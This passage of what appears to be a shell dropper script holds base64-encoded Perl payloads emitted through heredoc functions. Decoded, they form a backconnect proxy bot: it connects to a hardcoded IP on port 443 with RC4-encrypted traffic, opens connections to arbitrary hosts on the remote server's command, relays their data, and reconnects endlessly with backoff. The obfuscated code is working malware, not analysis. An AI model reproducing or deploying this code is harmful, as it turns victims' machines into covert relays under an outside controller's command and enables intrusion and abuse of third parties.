bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_33() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODInOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
